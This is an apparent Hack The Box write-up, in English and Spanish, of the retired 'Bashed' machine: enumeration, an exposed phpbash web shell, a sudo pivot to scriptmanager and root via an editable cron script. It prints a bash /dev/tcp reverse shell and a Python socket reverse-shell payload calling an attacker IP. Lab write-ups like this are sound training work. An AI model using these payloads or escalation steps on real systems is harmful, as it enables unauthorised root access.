Bashed
Executive summary — Bashed is an Easy Linux box with an instructive double-pivot chain: a forgotten web shell (phpbash) in
/dev/gives execution aswww-data; from there,sudolets us act asscriptmanager, who owns a/scriptsdirectory whosetest.pyis run by root via cron. The first attempt to overwrite that script fails for a very instructive reason about how shell redirection works undersudo; the fix istee. A web shell → www-data → scriptmanager → root cron → root path.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.15.157 |
Attack map
[80] gobuster → /dev/ (forgotten phpbash web shell)
▼
[RCE] www-data
│ direct reverse shell (nc) → fails: the web shell gives no real TTY
│ sudo -l → (scriptmanager) NOPASSWD: ALL
▼
[scriptmanager] owns /scripts/ (test.py editable; test.txt is owned by root)
│ ROOT cron runs /scripts/test.py periodically
│ echo ... > test.py fails (the redirection is handled by www-data, not scriptmanager)
│ echo ... | tee test.py DOES write the file as scriptmanager
▼
[ROOT] tee overwrites test.py with a reverse shell → the cron runs it as root
1. Reconnaissance
As with practically any HTB box, the first step is a network scan to see what services are exposed.
nmap -Pn -n -sC -sV -T4 10.129.15.157
80/tcp open http
A single open port: the entire attack surface sits in the web application, so reconnaissance moves straight to HTTP.
Resumen ejecutivo — Bashed es un Linux Easy con una cadena muy didáctica de doble pivote: una web shell (phpbash) olvidada en
/dev/da ejecución comowww-data; desde ahí,sudopermite actuar comoscriptmanager, que es dueño de un directorio/scriptscuyotest.pyejecuta root por cron. El primer intento de sobrescribir ese script falla por un detalle muy instructivo sobre cómo funciona la redirección de shell bajosudo; la solución pasa portee. Recorrido web shell → www-data → scriptmanager → cron root → root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.15.157 |
Mapa del ataque
[80] gobuster → /dev/ (phpbash: web shell olvidada)
▼
[RCE] www-data
│ reverse shell directa (nc) → falla: la web shell no da un TTY real
│ sudo -l → (scriptmanager) NOPASSWD: ALL
▼
[scriptmanager] dueño de /scripts/ (test.py editable; test.txt es de root)
│ cron de ROOT ejecuta /scripts/test.py periódicamente
│ echo ... > test.py falla (la redirección la procesa www-data, no scriptmanager)
│ echo ... | tee test.py SÍ escribe el fichero como scriptmanager
▼
[ROOT] tee sobrescribe test.py con una reverse shell → el cron la ejecuta como root
1. Reconocimiento
Como en cualquier máquina de HTB, el primer paso es un escaneo de red para ver qué servicios están expuestos.
nmap -Pn -n -sC -sV -T4 10.129.15.157
80/tcp open http
Un único puerto abierto: toda la superficie de ataque está en la aplicación web, así que el reconocimiento se traslada directamente a HTTP.
2. Web enumeration
gobuster dir -u http://10.129.15.157 -w /usr/share/wordlists/dirb/common.txt -x php,txt -t 40
/config.php (Status: 200) [Size: 0]
/css (Status: 301)
/dev (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/index.html (Status: 200)
/js (Status: 301)
/php (Status: 301)
/uploads (Status: 301)
Of the whole list,
/devis the suspicious one. In «development» paths it's common to find forgotten files: test shells, internal scripts, or unauthenticated panels that should never have reached production.
3. Initial access — phpbash
Browsing to /dev/ reveals an exposed web shell: a phpbash-style environment, a web terminal that runs commands directly on the server. That's direct RCE, no further exploitation needed:
http://10.129.15.157/dev/
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
That already gives remote code execution and enough control of the system to start escalating, as the web service's own user.
4. Failed reverse shell attempt
The natural next step is to turn the web shell into something more comfortable than a form: a reverse shell. A listener is set up and the classic payload is fired from phpbash:
nc -lvnp 4444
bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'
The connection never reaches the listener. This isn't a syntax error: it's a classic limitation of web shells. phpbash provides no real TTY, each command's execution context is ephemeral, and redirections like
>&or interactive processes don't survive that execution model well. The important lesson: if a reverse shell fails, it doesn't mean the attack has stalled — you can keep enumerating and exploiting directly from the access you already have.
5. Sudo enumeration
Now as www-data, the next step is checking what sudo privileges are available:
sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
Translation:
www-datacan run any command asscriptmanager, without a password. Not root yet, but it opens a direct intermediate escalation path.
6. Pivot to scriptmanager
The obvious attempt is to spawn an interactive shell as that user:
sudo -u scriptmanager -i
sudo -u scriptmanager /bin/bash
But checking the current user again still shows www-data:
whoami
www-data
This doesn't mean
sudoisn't working: the web shell simply doesn't keep a persistent interactive context. The command runs, the new subshell dies immediately, and phpbash goes back to showing the original process. The correct way to confirm it is with an inline command, without relying on a session:
sudo -u scriptmanager whoami
scriptmanager
Confirmed: any command can be run as scriptmanager, as long as it's done in a single sudo invocation.
7. The /scripts directory and the root cron
With access as scriptmanager, it's time to inspect what that user has at hand:
sudo -u scriptmanager ls -la /scripts
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 2022 .
drwxr-xr-x 23 root root 4096 Jun 2 2022 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 Apr 7 10:59 test.txt
sudo -u scriptmanager cat /scripts/test.py
f=open("test.txt","w")
f.write("testing 123!")
f.close
The golden clue is in file ownership:
test.pybelongs toscriptmanager(editable), buttest.txt—the file that script creates— belongs to root, with a recent modification time. That can only mean one thing: a root scheduled task runstest.pyperiodically, and since the file is editable byscriptmanager, controlling its contents means controlling what root executes.
8. First (failed) escalation attempt: the redirection trap
The plan is simple: overwrite test.py with a payload and wait for the root cron to run it. The first attempt uses echo with direct redirection:
sudo -u scriptmanager echo "<payload>" > /scripts/test.py
Reading the file back, the content is still the original one: the write never happened.
The reason is a nuance many people overlook with
sudo: in a command likesudo -u scriptmanager echo "..." > /scripts/test.py, two different things happen.echoruns asscriptmanager, but the>redirection is handled by the current shell —that is,www-data— beforesudoeven comes into play. Andwww-dataonly has read permission ontest.py(ownerscriptmanager, groupscriptmanager): the write silently fails.
9. Escalation to root with tee
The fix is to make the process that actually writes the file run under sudo, instead of letting the current shell's redirection do it. That's what tee is for: the content is piped into it, and tee —now running as scriptmanager— is the one opening the file for writing.
nc -lvnp 9001
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ATTACKER_IP>",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' | sudo -u scriptmanager tee /scripts/test.py
This time, reading the file back confirms the content has changed. All that's left is to wait for the root cron to trigger it again (roughly every minute):
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.15.157] 58713
bash: cannot set terminal process group (1138): Inappropriate ioctl for device
bash: no job control in this shell
root@bashed:/scripts#
The «no job control» warnings are normal for a not-fully-interactive reverse shell; what matters is the prompt: root@bashed. Full access achieved.
10. Flags
cd /root && ls
cat root.txt
cd /home/arrexel && ls
cat user.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | Web application | Forgotten web shell (phpbash) exposed in /dev/ | RCE as www-data |
| Pivot | sudo | www-data → scriptmanager (NOPASSWD: ALL) | Intermediate user with more privileges |
| PrivEsc | root cron + editable script | root periodically runs a test.py writable by scriptmanager | Code execution as root |
Lessons learned
- Never leave test web shells in production, let alone reachable at an obvious path like
/dev. - File ownership clues matter: a root-owned file generated by a script another user can edit usually gives away a scheduled task.
- Beware cron jobs that run scripts a less-privileged user can modify.
sudo -lreveals intermediate pivots (here, toscriptmanager) that don't grant root by themselves but open the path.- Web shells aren't real terminals: they keep no session or TTY; verify with inline commands (
sudo -u X whoami) instead of trusting an interactive shell that seems broken. - Redirection with
>undersudois handled by the invoking shell, not the target user: to write a file as another user, use a process that opens the file itself (tee,dd…), never the current shell's redirection. - A failed reverse shell doesn't mean the attack failed: you can keep enumerating and escalating from the access you already have.
2. Enumeración web
gobuster dir -u http://10.129.15.157 -w /usr/share/wordlists/dirb/common.txt -x php,txt -t 40
/config.php (Status: 200) [Size: 0]
/css (Status: 301)
/dev (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/index.html (Status: 200)
/js (Status: 301)
/php (Status: 301)
/uploads (Status: 301)
De toda la lista,
/deves el directorio sospechoso. En rutas «de desarrollo» es habitual encontrar ficheros olvidados: shells de prueba, scripts internos o paneles sin autenticación que nunca deberían haber llegado a producción.
3. Acceso inicial — phpbash
Al navegar a /dev/ aparece una web shell expuesta: un entorno tipo phpbash, una terminal web que ejecuta comandos directamente en el servidor. Esto ya es RCE directa, sin necesidad de explotar nada más:
http://10.129.15.157/dev/
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Con esto ya se tiene ejecución remota de comandos y control suficiente del sistema para empezar la escalada, como el usuario del propio servicio web.
4. Intento fallido de reverse shell
El paso natural es convertir la web shell en algo más cómodo que un formulario: una reverse shell. Se prepara un listener y se lanza el payload clásico desde phpbash:
nc -lvnp 4444
bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'
La conexión nunca llega al listener. Esto no es un error de sintaxis: es una limitación clásica de las web shells. phpbash no ofrece un TTY real, el contexto de ejecución de cada comando es efímero, y redirecciones como
>&o procesos interactivos no sobreviven bien a ese modelo de ejecución. La lección importante: si una reverse shell falla, no significa que el ataque se haya detenido — se puede seguir enumerando y explotando directamente desde el acceso que ya se tiene.
5. Enumeración de sudo
Ya como www-data, el siguiente paso es revisar qué privilegios de sudo tiene disponibles:
sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
Traducción:
www-datapuede ejecutar cualquier comando comoscriptmanager, sin contraseña. No es root, pero abre una vía directa de escalada intermedia.
6. Pivote a scriptmanager
El intento obvio es lanzar una shell interactiva como ese usuario:
sudo -u scriptmanager -i
sudo -u scriptmanager /bin/bash
Pero al comprobar de nuevo el usuario, sigue apareciendo www-data:
whoami
www-data
Esto no significa que
sudono funcione: la web shell simplemente no mantiene un contexto interactivo persistente. El comando se ejecuta, la subshell nueva muere de inmediato y phpbash vuelve a mostrar el proceso original. La forma correcta de confirmarlo es con un comando inline, sin depender de una sesión:
sudo -u scriptmanager whoami
scriptmanager
Confirmado: se puede ejecutar cualquier comando como scriptmanager, siempre que se haga en una única invocación de sudo.
7. El directorio /scripts y el cron de root
Con acceso como scriptmanager, se inspecciona qué tiene ese usuario a mano:
sudo -u scriptmanager ls -la /scripts
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 2022 .
drwxr-xr-x 23 root root 4096 Jun 2 2022 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 Apr 7 10:59 test.txt
sudo -u scriptmanager cat /scripts/test.py
f=open("test.txt","w")
f.write("testing 123!")
f.close
La pista de oro está en la propiedad de los ficheros:
test.pyes descriptmanager(editable), perotest.txt—el fichero que ese script genera— es de root, y su fecha de modificación es reciente. Eso solo puede significar una cosa: una tarea programada de root ejecutatest.pyperiódicamente, y como el fichero es editable porscriptmanager, controlar su contenido equivale a controlar lo que ejecuta root.
8. Primer intento de escalada (fallido): la trampa de la redirección
El plan es simple: sobrescribir test.py con un payload y esperar a que el cron de root lo ejecute. El primer intento usa echo con redirección directa:
sudo -u scriptmanager echo "<payload>" > /scripts/test.py
Al releer el fichero, el contenido sigue siendo el original: la escritura no se ha producido.
La razón es un matiz que mucha gente pasa por alto con
sudo: en un comando comosudo -u scriptmanager echo "..." > /scripts/test.pyocurren dos cosas distintas.echose ejecuta comoscriptmanager, pero la redirección>la procesa la shell actual —es decir,www-data—, antes de quesudoentre en juego. Ywww-datasolo tiene permiso de lectura sobretest.py(propietarioscriptmanager, gruposcriptmanager): la escritura falla en silencio.
9. Escalada a root con tee
La solución es hacer que el propio proceso que escribe el fichero corra bajo sudo, en vez de dejar que lo haga la redirección de la shell actual. Para eso sirve tee: se le pasa el contenido por tubería y es tee —ya ejecutándose como scriptmanager— quien abre el fichero para escribir.
nc -lvnp 9001
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ATTACKER_IP>",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' | sudo -u scriptmanager tee /scripts/test.py
Esta vez sí, releer el fichero confirma que el contenido ha cambiado. Solo queda esperar a que el cron de root lo dispare de nuevo (cada minuto, aproximadamente):
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.15.157] 58713
bash: cannot set terminal process group (1138): Inappropriate ioctl for device
bash: no job control in this shell
root@bashed:/scripts#
Los avisos de «no job control» son normales en una reverse shell no del todo interactiva; lo relevante es el prompt: root@bashed. Acceso completo conseguido.
10. Flags
cd /root && ls
cat root.txt
cd /home/arrexel && ls
cat user.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | Aplicación web | Web shell (phpbash) olvidada y expuesta en /dev/ | RCE como www-data |
| Pivote | sudo | www-data → scriptmanager (NOPASSWD: ALL) | Usuario intermedio con más permisos |
| PrivEsc | cron de root + script editable | root ejecuta periódicamente un test.py escribible por scriptmanager | Ejecución de código como root |
Lecciones aprendidas
- Nunca dejes web shells de prueba en producción, y menos accesibles en rutas obvias como
/dev. - Las pistas de propiedad de ficheros importan: un fichero de root generado por un script editable por otro usuario suele delatar una tarea programada.
- Cuidado con las tareas cron que ejecutan scripts que un usuario menos privilegiado puede modificar.
sudo -lrevela pivotes intermedios (aquí, ascriptmanager) que por sí solos no dan root pero abren la vía.- Las web shells no son terminales reales: no mantienen sesión ni TTY; verifica con comandos inline (
sudo -u X whoami) en vez de fiarte de una shell interactiva que parece no funcionar. - La redirección
>bajosudola procesa la shell que invoca el comando, no el usuario objetivo: para escribir un fichero como otro usuario, usa un proceso que abra el fichero él mismo (tee,dd…), nunca la redirección del shell actual. - Que falle la reverse shell no significa que el ataque haya fracasado: se puede seguir enumerando y escalando desde el acceso que ya se tiene.